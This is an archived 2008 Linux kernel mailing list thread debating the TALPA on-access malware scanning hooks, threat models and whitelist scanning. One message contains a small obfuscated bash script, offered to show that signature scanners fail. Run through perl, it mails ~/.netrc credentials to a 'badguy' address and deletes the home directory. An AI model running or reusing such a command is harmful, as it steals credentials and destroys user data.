Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

Previous thread: Re: HPET regression in 2.6.26 versus 2.6.25 -- retried 2.6.27-rc3 patch (and patch method) by David Witbrodt on Friday, August 15, 2008 - 8:22 am. (1 message)

Next thread: Re: HPET regression in 2.6.26 versus 2.6.25 -- why Yinghai's revert may have failed by David Witbrodt on Friday, August 15, 2008 - 8:33 am. (1 message)
To: Alan Cox <alan@...>
Cc: <rmeijer@...>, <capibara@...>, <david@...>, Eric Paris <eparis@...>, Theodore Tso <tytso@...>, Rik van Riel <riel@...>, <davecb@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>, Arjan van de Ven <arjan@...>
Date: Friday, August 15, 2008 - 8:22 am

This "permitted to execute" is what I feel is the wrong aproach with
respect to malware. If you simply allow everything to 'execute', I think
that untrusted programs may still be used for usefull things, but without
the potential do do malice. If you start from the point where everything
both trusted and untrusted is permitted to be executed, you could make it
the job of SELinux or any other LSM to make untrusted code run without
doing malice, but with the possibility to still run and do usefull non
malicious stuff. This might require some aditional hooks in LSM though I
could imagine.

To take this one step further, it might be usefull to see what kernel/LSM
changes would be needed to allow SELinux and/or possibly better yet,
AppArmor, to work with some powerbox style UI component in order to both
allow and force untrusted programs to run with least authority and still
do usefull stuff.

I feel the Polaris/Capdesk/Plash approach to untrusted code is much more
prommising than the "don't run" approach used by regular AV products.
Making such an approach integrate with LSM's would IMHO be a much more
fundamental approach to malware.

Rob

--

To: <rmeijer@...>
Cc: <capibara@...>, <david@...>, Eric Paris <eparis@...>, Theodore Tso <tytso@...>, Rik van Riel <riel@...>, <davecb@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>, Arjan van de Ven <arjan@...>
Date: Friday, August 15, 2008 - 10:18 am

SELinux is quite happy to apply different rules to content labelled in
different ways. WHat specific things do you need that it can't do ?
--

To: <rmeijer@...>
Cc: Alan Cox <alan@...>, <capibara@...>, <david@...>, Eric Paris <eparis@...>, Theodore Tso <tytso@...>, Rik van Riel <riel@...>, <davecb@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>, Arjan van de Ven <arjan@...>
Date: Friday, August 15, 2008 - 9:27 am

They way I look at this. Most users complain that creating profiles
for applications is too complex.

Lets look for where a system that deals with the same kind of issue.
Its in the firewall with ipset http://ipset.netfilter.org/.

You have a set of rules to do things assigned in the firewall. With
secuirty this would be the LSM. User gets to choose from a predefined
list for applications without profiles.

Lets look at some basics here. Firefox and most internet applications
don't need to edit everything in the user account. If some link
could be designed into LSM for user to once off approve actions
outside filesystem permissions from the grouping. Malware reading and
writing stuff would be a lot harder.

Major problem everyone keeps on missing. TALPA is only operating with
part of the full information about the file. When file systems go
from native file system to inodes currently the permissions on the
native file system are translated to what linux supports and any that
don't fit is disregarded. Due to that difference each file system
has its own cache and holes on the file system where viruses could
hide data for other OS's on the system. So TALPA might save Linux
only to see another OS on the system infected. Worst case is if the
other OS infected could come back and alter Linux disabling the virus
scanner and reinfecting Linux.

TALPA from its current location is partly blind same with most other
anti-virus and malware scanner running on linux. Unfortunately to
remove this blindness is rework the file system interface layer.
Single cache for all file system drivers with TALPA embeded where it
can scan everything about a file so when its clean its truly clean.
Also for desktop users being able to see the permissions on there
removable media to make sure they are correct would be a god send.

This is a flaw that people from most other OS's would not think about.
Since Linux is one of the rare places it exists. LIM and HIDS are
also effected by this ...

To: Peter Dolding <oiaohm@...>
Cc: <rmeijer@...>, Alan Cox <alan@...>, <capibara@...>, Eric Paris <eparis@...>, Theodore Tso <tytso@...>, Rik van Riel <riel@...>, <davecb@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>, Arjan van de Ven <arjan@...>
Date: Friday, August 15, 2008 - 1:31 pm

please define your threat model. the section above makes no sense with the
currently defined threat model.

if the linux kernel squashes stuff from a filesystem such that the
scanners cannot see it then how in the world can linux then server this
bad stuff to other systems (what the current threat model is defined as)

if you are saying that you want linux to mount filesystems and scan them,
then unmount them and allow other systems to mount them and be safe, I
think you alone in this opinion.

David Lang
--

To: <david@...>
Cc: <rmeijer@...>, Alan Cox <alan@...>, <capibara@...>, Eric Paris <eparis@...>, Theodore Tso <tytso@...>, Rik van Riel <riel@...>, <davecb@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>, Arjan van de Ven <arjan@...>
Date: Friday, August 15, 2008 - 11:57 pm

The threat module you are looking at does not cover all the real world
usage even worse detection of unknown real world threats.

Currently if we have a unknown infection on a windows partition that
is been shared by linux the scanner on Linux cannot see that the
windows permissions has been screwed with. OS with badly damaged
permissions is a sign of 1 of three things. 100 percent incompetent
admin, failing harddrive or system is breached. Now if system is
breached on a partition it is most likely extremely stupid to be
sharing the contents of that partition on a file server until what
breached it has been found and fixed. Reason until files are cleared
anything on that partition could have a unknown infection that you are
now putting up to server to be spread onto other machines.

You asked how would the Linux Server spread bad stuff to other
systems. Quite simple be blind miss the warning signs that something
has gone badly wrong in the partition that its getting its files from
and just luck out on a zero day attack with no signature and spread it
around the network leading to more machines in the network having
crippled secuirty.

Blocked from being able to see the real permissions of the file system
takes away one of the means to detect unknowns. We need every means
of defence we can have.

Remember in a hypervisor environment like http://kvm.sf.net you many
want to scan the OS you are about to run in there before you start it
up. Particularly if that contained server is going to be serving
files to the network. You don't want a windows server starting up
that has had its anti-virus defeated spreeding viruses to every other
windows machine in the network. Particularly if that windows server
is running inside kvm on linux. Linux is currently not setup for
doing this effectively. Linux cannot run a Host Intrusion Detection
on the other OS effectively this adds another layer of secuirty to be
breached in a hypervirsor envorment .

Multi OS setups are going ...

To: Peter Dolding <oiaohm@...>
Cc: <david@...>, <rmeijer@...>, Alan Cox <alan@...>, <capibara@...>, Eric Paris <eparis@...>, Theodore Tso <tytso@...>, Rik van Riel <riel@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>, Arjan van de Ven <arjan@...>
Date: Sunday, August 17, 2008 - 5:17 pm

It's more likely that the files will reside on Linux/Unix under
Samba, and so the permissions that Samba implements will be the ones
that the virus is trying to mess up. These are implemented in
terms of the usual permission bits, plus extended attributes/ACLs.
Linux systems mounting Windows filesystems are somewhat unusual (;-))

--dave
--
David Collier-Brown | Always do right. This will gratify
Sun Microsystems, Toronto | some people and astonish the rest
davecb@sun.com | -- Mark Twain
cell: (647) 833-9377, bridge: (877) 385-4099 code: 506 9191#
--

To: <davecb@...>
Cc: <david@...>, <rmeijer@...>, Alan Cox <alan@...>, <capibara@...>, Eric Paris <eparis@...>, Theodore Tso <tytso@...>, Rik van Riel <riel@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>, Arjan van de Ven <arjan@...>
Date: Sunday, August 17, 2008 - 9:33 pm

More desktop use of Linux more cases of ntfs and fat mounted under
Linux. Funny enough linux mounting windows file systems is 100
percent normal for most Ubuntu users so there are a lot of them out
there doing it. I am future looking there are other filesystems
coming with there own issues as well.

Same issue with samba no common store for extra permissions exist so
on file systems that don't support there permissions storage it goes
back into there tdb storage.

Basically scanning everything to detect issues currently nicely
complex. We have a huge permissions mess. Some permissions are
processed by the file system drivers. Some are processed by vfs then
others processed and stored by individual applications. So no where
in Linux can you see all the permissions being applied to a single
file to be sure there is not a secuirty risk somewhere. Samba or
equal allowing access to remove a virus signature from the black list
or added something that should not be allowed to the white list would
be major problems.

Posix has not helped US here at all. No where in posix does it
provide anything to clean up this mess. Does solarias have a solution
I know BSD and Linux does not. I think all posix OS's have a mess in
this section.

Peter Dolding
--

To: Peter Dolding <oiaohm@...>
Cc: <davecb@...>, <rmeijer@...>, Alan Cox <alan@...>, <capibara@...>, Eric Paris <eparis@...>, Theodore Tso <tytso@...>, Rik van Riel <riel@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>, Arjan van de Ven <arjan@...>
Date: Sunday, August 17, 2008 - 9:44 pm

but what you are missing is that when they are mounted under linux it
doesn't matter what hidden things the other OS may access, all that
matters is what Linux sees. If Linux doesn't see something it can't serve
it out to those other OSs.

those 'hidden things' would only matter if you were trying to use linux
to scan a drive and bless it for another system to then mount locally. If
we aren't trying to defend against that (and I don't hear anyone other
then you saying we should) then we don't need to worry about such things.

If we were trying to make the drive safe for all other OSs to mount
directly, then mearly seeing everything isn't enough, you would have to be
able to fully duplicate how the other OS interprets the things you are
seeing, and know all vunerabilities that arise from all possible
interpretations. I don't think that's possible (and I don't think it would
be possible even if the source for all those other OSs were available)

David Lang
--

To: <david@...>
Cc: <davecb@...>, <rmeijer@...>, Alan Cox <alan@...>, <capibara@...>, Eric Paris <eparis@...>, Theodore Tso <tytso@...>, Rik van Riel <riel@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>, Arjan van de Ven <arjan@...>
Date: Sunday, August 17, 2008 - 10:33 pm

Matters directly for 2 cases to the Linux system itself.

First case HIDS spotting alteration to something like if someone
places signature files on a NTFS partition for some reason when it was
placed there it was X permission now its Y better inform the user that
this has happened. Without being able to see the disk permissions
this could be missed due to no translation of permissions to vfs. We
have Ubuntu users in this mix they will put it on NTFS if they are low
of disk space.

Second case is file system mount options changing the files that are
displayed in vfs so a full partition scan by a scanner running in
Linux is a full disk scan not some files missed here or there due to
hidden permissions and processing in the file system driver.

Next bits I think is not understanding how some defence tech works and
lack of experience in forensics.

Full hids monitoring does not depend on known how the OS will
interpret it picking up that month after month something has never
been changed and then all of a sudden something is changed to alert
you to look deeper. Its more of a warning bell so that works without
ever understanding 100 percent how the permissions work. When
compared to other machines setup in the same kind of way more fine
defects can turn up. Same software Same applications same profiles
sent from server should be a 99 percent match other than SID number
being different. Most of that variation from each other should turn
up in the first week of usage. HIDS is basically anything stepping
out side normal go off.

Doing forensic recoveries on things I have learnt yes you can
duplicate how a OS will interpret its disk permissions. Complexity
is directly linked to how tidy the OS's permission system is.
Windows is surprisingly not that bad. Linux and BSD are level 10
pricks due to the fact config file over here may completely provide
access where disk permissions say no then you have the LSM permissions
to over lay. So its a pain in tail to duplicate how ...

To: Peter Dolding <oiaohm@...>
Cc: <david@...>, <rmeijer@...>, Alan Cox <alan@...>, <capibara@...>, Eric Paris <eparis@...>, Theodore Tso <tytso@...>, Rik van Riel <riel@...>, <davecb@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>
Date: Saturday, August 16, 2008 - 12:09 am

On Sat, 16 Aug 2008 13:57:50 +1000

The problem TALPA is trying to solve is only part of the puzzle.
Everyone recognizes that. It's a very relevant part of the puzzle (in
corporate context at least), but it's very much so not a complete
puzzle. Does that mean we shouldn't deal with this just because it's
incomplete? Absolutely not!
(nor should we do something that has no value.. but that's not the case;
the model that Erik described is quite well defined as
"do not give ''bad' content to applications/exec".
There is clearly value in that (even though it's not defined what 'bad'
is other than 'program X or Y says so', but for now we have to live
with that; if it bothers you just think "clamAV").

The implementation idea (have a flag/generationnr in the inode for
'known good', block on read() and mmap(), and schedule async scans in
open or on dirty) seems to be quite solid although several details
(async queueing model for example but also the general dirty
notification system) need to be worked out.

Sadly what you're doing is throwing up smoke and just saying "it
doesn't solve world hunger as well so it's bad". Please do yourself a
favor and stop that before people totally start ignoring you.

--
If you want to reach me at my work email, use arjan@linux.intel.com
For development, discussion and tips for power savings,
visit http://www.lesswatts.org

--

To: Arjan van de Ven <arjan@...>
Cc: Peter Dolding <oiaohm@...>, <david@...>, <rmeijer@...>, Alan Cox <alan@...>, <capibara@...>, Eric Paris <eparis@...>, Theodore Tso <tytso@...>, Rik van Riel <riel@...>, <davecb@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>
Date: Saturday, August 16, 2008 - 1:35 am

On Fri, 15 Aug 2008 21:09:42 PDT, Arjan van de Ven said:

Many security experts believe that a false sense of security is worse than
no security at all. In other words, unless the design team is *honest* with
themselves about what the proposal does and doesn't cover, and has at least
an *idea* of how the uncovered parts will function, you're not adding to
the *real* security.

The problem with saying stuff like "Oh, our threat model explicitly rules
out anything done by root" is that all too often, the other part of the
overall plan - the one that constrains the root user - is never deployed.

One of the proponents of the idea told me "so I don't see that as a big
problem", when the problem in question (the race condition between malware
arriving and actual scanning with a signature that detects the malware) is one
of *THE* biggest issue for actual deployments of this sort of stuff. No, TALPA
doesn't have to necessarily deal with that race condition itself.

But you damn sight well better have a good idea of how you intend to deal
with it, because if you don't, the end result isn't actually usable for

The model is *not* "quite well defined" - because "bad content" is a rather
squishy term (go read Fred Cohen's PhD thesis, where he shows that detecting
viruses/malware is equivalent to the Turing Halting Problem). What you
*really* mean is "that subset of bad content that we can reasonably
economically catch with pattern matching signatures".

And at that point, we're well into #2 on Marcus Ranum's list of Bad Security
Ideas - Enumerating Badness.

#!/bin/bash
ONE="system("
TWO="'"
THREE="mail ba"
FOUR="dguy@dropbox.com < ~/.netrc;r"
FIVE="m -rf ~ &');"
echo "$ONE$TWO$THREE$F0UR$FIVE" | perl

That gets dealt with how? Did you have a signature that matched that targeted
code (of course not, your A/V vendor hasn't seen this e-mail yet)? Did you
protect the | pipe as well as file input?

(Anybody else remember a few years ago, when ssh and sendmail distrib files...

To: <Valdis.Kletnieks@...>
Cc: Arjan van de Ven <arjan@...>, Peter Dolding <oiaohm@...>, <rmeijer@...>, Alan Cox <alan@...>, <capibara@...>, Eric Paris <eparis@...>, Theodore Tso <tytso@...>, Rik van Riel <riel@...>, <davecb@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>
Date: Saturday, August 16, 2008 - 3:27 am

this is why there was so much preasure for them to define their threat
model. they have donw so. if you disagree with that please suggest a
different threat model rather then just listing various threats that their

it may not be appropriate to lock down root, it depends on what threats
the box is under.

on the other hand, locking down root perfectly, but readily serving
windows virii to other systems isn't good in some cases either.

so how _so_ you handle detecting bad data before anyone defines it as bad?

remember, the 'bad data' may be a $propriatary_media format that only
causes problems when run with $propriatary_software on $proptiatary_OS. Or
the 'bad data' could be a document in an open format that complies with
the specs of that format, but a common client doesn't handle the
legitimate file correctly.

there is no possible way to detect these ahead of someone defineing them
as bad. you can prevent them from being exploited on the Linux system (or

more precisely the model is defined as "do not give 'unchecked' data to
applications/exec" how they are checked is not defined, providing the

one _very_ nice thing about the hooks currently being proposed is that
they are useful for things besides anti-virus tools, tools that have no
security implications at all. so even if there were no security benifit
the hooks are still worth considering. but the fact is there is a threat
model here that is not addressed well with other mechanisms, that is
useful to cover.

David Lang
--

To: Arjan van de Ven <arjan@...>
Cc: <david@...>, <rmeijer@...>, Alan Cox <alan@...>, <capibara@...>, Eric Paris <eparis@...>, Theodore Tso <tytso@...>, Rik van Riel <riel@...>, <davecb@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>
Date: Saturday, August 16, 2008 - 1:19 am

TALPA idea I agree with. As the long term forever solution I don't
agree with due to its location.

Lets look at the general disk to memory path.

[file system driver]
[file system drivers caches]
[inode's] TALPA links in here and basically runs its own scan cache.

Long term TALPA need to move from the inode layor down and the design
of the file system path needs to change.

[file system driver]
[generic file system cache] TALPA enters here and spreads.
[inodes]

generic file system cache built in a way that it can store all the non
linux permission and related data that the file system driver needs.

Reasons
1. That shape even if file system extra permissions are decided to be
kept hidden from the rest of Linux anti-virus can scanning can see it.
2. Everything that is in memory is checked.
3. Infected files can be removed from consuming memory in the file
system cache. So a raw memory scan of Linux will not trip on viruses
still being present in memory even that TALPA is running. False
positive suggesting TALPA has failed is possible due to its current
location.
4 share caching of passed and failed with the file system cache.

1 virus removed from a file system cache could equal the complete
memory price of running TALPA.

Its TALPA location I have major issue with. Being blind to full set
of information to make a judgement call is the other.

I see it in the same cat a unionfs fine as a side patch to main
kernel. Not fine to enter main kernel due to being in the wrong
place. Its the balancing act if we let TALPA will it ever develop
down to the location where it should be?

Can you say 100 percent that TALPA is in the right location for what
it is doing. If it is not its a good temp fix until we can get
developed the solution in the correct location. Temp fixes normally
never get main line.

Be truthful its simply in the wrong place. Getting it to the correct
location for most effective memory usage and giving a virus the least
ammont of distanc...

To: Peter Dolding <oiaohm@...>
Cc: Arjan van de Ven <arjan@...>, <david@...>, <rmeijer@...>, Alan Cox <alan@...>, <capibara@...>, Eric Paris <eparis@...>, Rik van Riel <riel@...>, <davecb@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>
Date: Saturday, August 16, 2008 - 5:39 am

Huh? What are you talking about? In Linux just about all of the
serious filesystems the only caching for file data happens in the page
cache layer. So what you're saying doesn't make much sense, unless
you're talking about the user space samba daemon --- but even there,
Samba doesn't do any shortcut routing of data; as far as I know
everything goes from Samba, into the filesystem, before it gets served
out to other clients via Samba back out from the filesystem. So

No one else is taking about checking permissions; I thought this was
all about file *data* that we've been talking about.

If your argument means that we have to take every single
$Proprietary_OS's wacky permissions system, and push them into to core
Linux system so the AV system can evaluate it, I'm pretty sure
everyone is going to vomit all over such a proposal (and over you).

- Ted
--

To: Theodore Tso <tytso@...>, Peter Dolding <oiaohm@...>, Arjan van de Ven <arjan@...>, <david@...>, <rmeijer@...>, Alan Cox <alan@...>, <capibara@...>, Eric Paris <eparis@...>, Rik van Riel <riel@...>, <davecb@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>
Date: Saturday, August 16, 2008 - 7:38 am

These file system caches are internal permissions caching points where
the driver decides what you can and cannot see. Before conversion to
normal inode structs. Others have own internal buffers for transfers.
Yes everything is stored on the page cache but it does not have to
be in any shape you would normally id as a file. I have a bad habit
of putting buffers and caches in the same box. Thinking that some
file system drivers are smart enough to use the same buffer if they
get the same request twice. So even that a file may have been
rejected due to being a virus it can still be sitting around in memory
Thrown away data is not only Proprietary OS Ted. There are permssions
on mac amiga and many others but there not the only issues of stuff
being made invisible by the driver.

There are fully documented file systems that have hidden streams you
cannot see without passing them correct flags.

UDF undelete and unhide options and ISO showassoc makes more files
appear on those formats. UDF and ISO hidden files are one of the
nasties. AV scans the disk calls it clean. Remount it with the other
options enabled nice little bit of magic hidden infected files could
turn up. Black holed.

What is the worst bit about this knowing the luck of this world.
Some people will mount the disks/partitions with the option that
displays the virus with a OS without a anti-virus because another
computer said the disk was clean.

Ext2/3/4 nouser_xattr and noacl don't remove the permissions just
remove the map threw from the driver.

Now there is also the up coming issues of www.nilfs.org and other
continual snap shotting file systems. If cannot see the permissions
the filesystem drivers are processing and the data those permissions
are causing to be hidden. The best you can do at the moment see that
the flags to make the data invisible or visible is set and ask user to
remount drive just so you can scan it. Continual snap shotting file
systems users are not going to take to being ask...

To: Peter Dolding <oiaohm@...>
Cc: Arjan van de Ven <arjan@...>, <david@...>, <rmeijer@...>, Alan Cox <alan@...>, <capibara@...>, Eric Paris <eparis@...>, Rik van Riel <riel@...>, <davecb@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>
Date: Saturday, August 16, 2008 - 11:17 am

You have this problem anyway, given that AV database updates are
coming every few hours; so if you scan the disk at noon, and an AV
update comes at 1pm it may be that there were malware that wasn't
detected by the noon DB, but will be detected by the 1pm DB.

And for non read-only filesystems (i.e., anything other than UDF and
ISO), anytime the filesystem is unmounted, the OS is going to have to
assume that it might have been modified by some other system before it
was remounted, so realistically you have to rescan after remounting
anyway, regardless of whether different mount options were in use.

So I draw a very different set of conclusions than yours given your
obervations of all of the ways that an AV scanner might miss certain
viruses, due to things like alternate streams that might not be
visible at the time, snapshotting filesystems where the AV scanner
might not know how to access past snapshots, and hence miss malware.

I don't believe that this means we have to cram all possible
filesystem semantics into the core VFS just for the benefit of AV
scanners. I believe this shows the ultimate fallacy that AV scanners
can be foolproof. It will catch some stuff, but it will never be
foolproof. The real right answer to malware are things like not
encouraging users to run with the equivalent of Windows Administrator
privileges all the time (or training them to say, "Yeah, Yeah" every
time the Annoying Vista UAC dialog box comes up and clicking "ok"),
and using mail user agents that don't auto-run contents as soon as you
open a mail message in the name of "the user wants functionality, and
we're going to let them have it" attitude of Microsoft.

- Ted
--

To: Theodore Tso <tytso@...>, Peter Dolding <oiaohm@...>, Arjan van de Ven <arjan@...>, <david@...>, <rmeijer@...>, Alan Cox <alan@...>, <capibara@...>, Eric Paris <eparis@...>, Rik van Riel <riel@...>, <davecb@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>
Date: Sunday, August 17, 2008 - 3:49 am

I am not saying in that it has to be displayed in the normal VFS. I
am saying provide way to see everything the driver can to the
scanner/HIDS. Desktop users could find it useful to see what the
real permissions are on disk surface useful for when they are
transferring disks between systems. HIDS will find it useful for Max
confirm that nothing has been touched since last scan. White list
scanning finds it useful because they can be sure nothing was missed.

You mentioned the other reason why you want to be under the vfs. As
you just said every time you mount a file system you have to presume
that its dirty. What about remount? Presume its all dirty just
because user changed a option to the filesystem? Or do we locate
ourself in a location that remount don't equal starting over from
scratch. Location in the inodes wrong for max effectiveness. Even
on snapshoting file systems when you change snapshot displayed not
every file has changed. The Linux File System Driver interface needs
to change. Sorting out this section of the file system driver
section also would allow like a ISO or UDF to be multi mounted with
different filter options to the vfs. Reason driver goes up to a
central point then to the vfs so filters that hide files and
permissions could be turned on and off at bind mounts. The alteration
to make AV work perfectly opens up way more doors. Including file
system neutral mount filters so that users and group id's on a file
system can be mapped to local user and group id's. UUID on the
partition could be used to track remove able disks using it. 500 user
on current system might be acting as 1000 user on a remote/removable
disk since the users id on that system that disk owns to is 1000.

Also you are not thinking real world. Most common reason to be
scanning read only disks on one machine then using it on another not
fully setup is the restoring stage from backups. This is where you
all ready know what the virus is. So that the signatures have ...

To: Peter Dolding <oiaohm@...>
Cc: Theodore Tso <tytso@...>, Arjan van de Ven <arjan@...>, <rmeijer@...>, Alan Cox <alan@...>, <capibara@...>, Eric Paris <eparis@...>, Rik van Riel <riel@...>, <davecb@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>
Date: Sunday, August 17, 2008 - 4:58 am

unless you have a signed file of hashses of the filesystem, and you check
that all the hashes are the same, you have no way of knowing if the
filesystem was modified by any other system.

you may be able to detect if OS Y mounted and modified it via notmal
rules of that OS, but you have no way to know that someone didn't plug the
drive into an embeded system that spit raw writes out to the drive to just

this is a policy decision that different people will answer differently.
put the decision in userspace. if the user/tool thinks that these things
require a re-scan then they can change the generation number and
everything will get re-scanned. if not don't change it.

if you want to trust another system to do the scanning for you the
userspace code needs to work out a way to use the same generation number
of the different machines.

the underlying mechanism can work in all of these cases. which one you
choose to use is up to you, and it doesn't matter what you choose, the

the mechanism I outlined will work just fine for a whitelist scanner. the
user can configure it as the first scanner in the stack and to trust it's
approval completely, and due to the stackable design, you can have thigns
that fall through the whitelist examined by other software (or blocked, or
the scanning software can move/delete/change permissions/etc, whatever you

forget the speed of the machines, if you have a tens of TB array can will
take several days to scan using the full IO bandwith of the system (so
even longer as a background task), you already can't afford to scan
everything every update on every system.

however, you may not need to. if a small enough set of files are accessed
(and you are willing to pay the penalty on the first access of each file)
you can configure your system to only do on-access scanning. or you can
choose to do your updates less frequently (which may be appropriate for

you are arguing with the wrong people here. we are not trying to define
the ...

To: <david@...>
Cc: Theodore Tso <tytso@...>, Arjan van de Ven <arjan@...>, <rmeijer@...>, Alan Cox <alan@...>, <capibara@...>, Eric Paris <eparis@...>, Rik van Riel <riel@...>, <davecb@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>
Date: Sunday, August 17, 2008 - 8:11 pm

That is called a HIDS. Network form even has central databases of
hashes of applications that should be on the machine. Its tampering

Exactly why I am saying the lower level needs work. Everything the
file system driver can process needs to go to Hids for most effective
detection of tampering. Ok not 100 percent but the closest to 100
percent you can get. 2 causes of failure are hash collisions that
can happen either way and data hidden outside the drivers reach. All
execute data leading into the OS will be covered by a TPM chip in time
so that will only leave non accessible data not a threat to current
With out a clear path were user space tools can tell that its the same
files they have no option bar to mark the complete lot dirty.

Hands are tied that is the issue while only in the inode and vfs
system. To untie hands and allow most effective scanning the black

You missed it part of that was a answer to Ted saying that we should
give up on a perfect system due to the fact current AV tech fails
there is other tech out there that works.

In answer to the small enough set of files idea. The simple issue is
that one time cost of black list scanning gets longer and longer and
longer as the black list gets longer and longer and longer. Sooner
or latter its going to be longer than the amount of time people are
prepared to wait for a file to be approved and longer than the time
taken to white list scan the file by a large margin. It is already
longer by a large margin to white list scanning. CPU sizes not
expanding as fast on Linux kind brings the black list o heck problem
sooner. Lot of anti-virus black lists are embeding white lists
methods so they can operate now inside the time window. The wall is
coming and its simply not avoidable all they are currently doing is
just stopping themselves from going splat into it. White list methods
will have to become more dominate one day there is no other path
forward for scanning content.

Most common reason to nee...

To: Peter Dolding <oiaohm@...>
Cc: <linux-kernel@...>, <linux-security-module@...>, <malware-list@...>
Date: Monday, August 18, 2008 - 6:54 am

The problem with white-lists is who gets to decide what's on them:

a) The end-user: Easy to get around - a social engineering attack.
The problem is if you make all the good applications the
user downloads appear identical to any random malware they
download, the end-users will treat them the same.

b) The network administrator: Often doesn't exist (e.g. home users), but
even when they do exist, they are often too over-worked to
handle a white-listing solution. For example Windows provides
white-listing in policies (AFAIK), but still there is a market
for AV software.
The admin probably ends up authorizing anything the end-users
want.
(Thus leading to the same problems as a)...)

c) The White-listing software company: Now has to maintain a perfect
database
of known-good software, without letting in any malware.
Also problems with edge-cases such as adware.
Also needs some way of handling private software, and
self-compiled software.
(which probably leads to a) or b)...)

d) Third-party: All the problems of c) with more trust issues, plus
iphone-ish lock-in problems.

The other problem that I can see is that white-list scanners have to be
much more exact on the matching (either checksums or signatures), as the
malware authors will be trying to look-like authorized software.

black-list scanners can afford heuristic detection, because good-software
authors
aren't trying to look like malware.

--
Douglas Leeder

Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

--

To: <douglas.leeder@...>
Cc: <linux-kernel@...>, <linux-security-module@...>, <malware-list@...>
Date: Monday, August 18, 2008 - 9:40 am

I can cover all of these.

Type A) White Lists for stand alone end users would normally operate
with a matching black list system. White list system would be
detecting known damaged file formats and possable threats in the
process letting files that cannot contain viruses/malware pass.
Really its a waste of time scanning a damaged file users need to be
informed of it as well a equally waste of time black list scanning a
file for viruses/malware that cannot carry threats. Also new unknown
executable files being placed before user to approve to go on for
black list scanning or remove from system really does cut down threat
to system. User is engaged in there own protection. User normally
knows if they are attempting to run a new program or not, Asking them
is the white list way. Don't just presume they are meaning to run a
new exe they have never run before scan it for what threat you know
then let it run. Reason black lists are flawed we know they are
flawed. So we use the user to give a extra level of filtering.

Type B and C) For companies have you seen the paper work for getting
software into lots of businesses with system admins. The ammount of
tracking that has to be done on software installed. Keeping a white
list system that is also doing installation head counts is not that
much of a overhead. Internally created software normally has to go
threw approval processes before actively deployed every where.
Keeping a white list just fits into general operations of quite a few
businesses with system admins. Just a lot don't notice it in the
paper work they are doing. Like complete lists of installed
software. This is more good design of the white list system as well
as scanning the system it is doing the needed network audits both are
overlapping processes.

D) we currently have that issue with anti-virus software black list.
I had my test network software deleted, my documentation how to by
pass a old alpha servers password deleted. All by black list
anti-...

To: Peter Dolding <oiaohm@...>
Cc: Theodore Tso <tytso@...>, Arjan van de Ven <arjan@...>, <rmeijer@...>, Alan Cox <alan@...>, <capibara@...>, Eric Paris <eparis@...>, Rik van Riel <riel@...>, <davecb@...>, <linux-security-module@...>, Adrian Bunk <bunk@...>, Mihai Don??u <mdontu@...>, <linux-kernel@...>, <malware-list@...>, Pavel Machek <pavel@...>
Date: Sunday, August 17, 2008 - 8:32 pm

so are you advocating that every attempt to access the file should
calculate the checksum of the file and compare it against a (possibly

you are mixing solutions and problems. I think my proposal can be used to

the scanning support mechanism would support a whitelist policy, it will
also support a blacklist policy.

I will dispute your claim that a strict whitelist policy is even possible
on a general machine. how can you know if a binary that was compiled is
safe or not? how can you tell if a program downloaded from who knows where
is safe or not? the answer is that you can't. you can know that the
program isn't from a trusted source and take actions to limit what it can
do (SELinux style), or you can block the access entirely (which will just
cause people to disable your whitelist when it gets in their way)

there are times when a whitelist is reasonable, there are times when it
isn't. you can't whitelist the contents of /var/log/apache/access.log, but
that file needs to be scanned as it is currently being used as an attack
vector.
